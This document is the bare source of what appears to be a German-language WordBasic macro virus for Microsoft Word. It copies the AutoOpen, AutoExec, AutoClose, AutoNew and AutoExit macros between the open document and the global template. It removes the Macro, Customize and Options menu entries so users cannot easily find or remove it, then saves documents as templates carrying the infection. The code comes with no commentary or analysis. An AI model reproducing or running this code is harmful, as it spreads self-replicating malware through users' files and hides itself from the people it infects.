Sub MAIN
On Error Goto finish2

For i = 1 To ZhlenMakros(0, 0)
	If MakroName$(i, 0, 0) = "AutoExit" Then
		iControl = 1
	End If
Next i

If iControl = 1 Then	
	Goto finish1
Else
	On Error Resume Next
	MakroKopieren DateiName$() + ":AutoOpen", "Global:AutoOpen", 1
	MakroKopieren DateiName$() + ":AutoExec", "Global:AutoExec", 1 	
	MakroKopieren DateiName$() + ":AutoClose", "Global:AutoClose", 1
	MakroKopieren DateiName$() + ":AutoNew", "Global:AutoNew", 1
	MakroKopieren DateiName$() + ":AutoExit", "Global:AutoExit", 1
End If

ExtrasAnpassenMen .MenArt = 0, .Position = - 1, .Kategorie = 1, .Name = "ExtrasMakro", .Men = "E&xtras", .MenText = "Ma&kro...", .Entfernen, .Kontext = 1

ExtrasAnpassenMen .MenArt = 0, .Position = - 1, .Kategorie = 1, .Name = "ExtrasAnpassen", .Men = "E&xtras", .MenText = "&Anpassen...", .Entfernen, .Kontext = 1

ExtrasAnpassenMen .MenArt = 0, .Position = - 1, .Kategorie = 1, .Name = "ExtrasOptionen", .Men = "E&xtras", .MenText = "&Optionen...", .Entfernen, .Kontext = 1

finish1:

For i = 1 To ZhlenMakros(1, 0)
	If MakroName$(i, 1, 1) = "AutoExit" Then
		cControl = 1
	End If
Next i

If cControl = 1 Then
	Goto finish2
Else
	On Error Resume Next
	DateiSpeichernUnter .Format = 1
	MakroKopieren "Global:AutoOpen", DateiName$() + ":AutoOpen", 1
	MakroKopieren "Global:AutoExec", DateiName$() + ":AutoExec", 1
	MakroKopieren "Global:AutoClose", DateiName$() + ":AutoClose", 1
	MakroKopieren "Global:AutoNew", DateiName$() + ":AutoNew", 1
	MakroKopieren "Global:AutoExit", DateiName$() + ":AutoExit", 1
	DateiAllesSpeichern 1, 1
End If

finish2:

End Sub
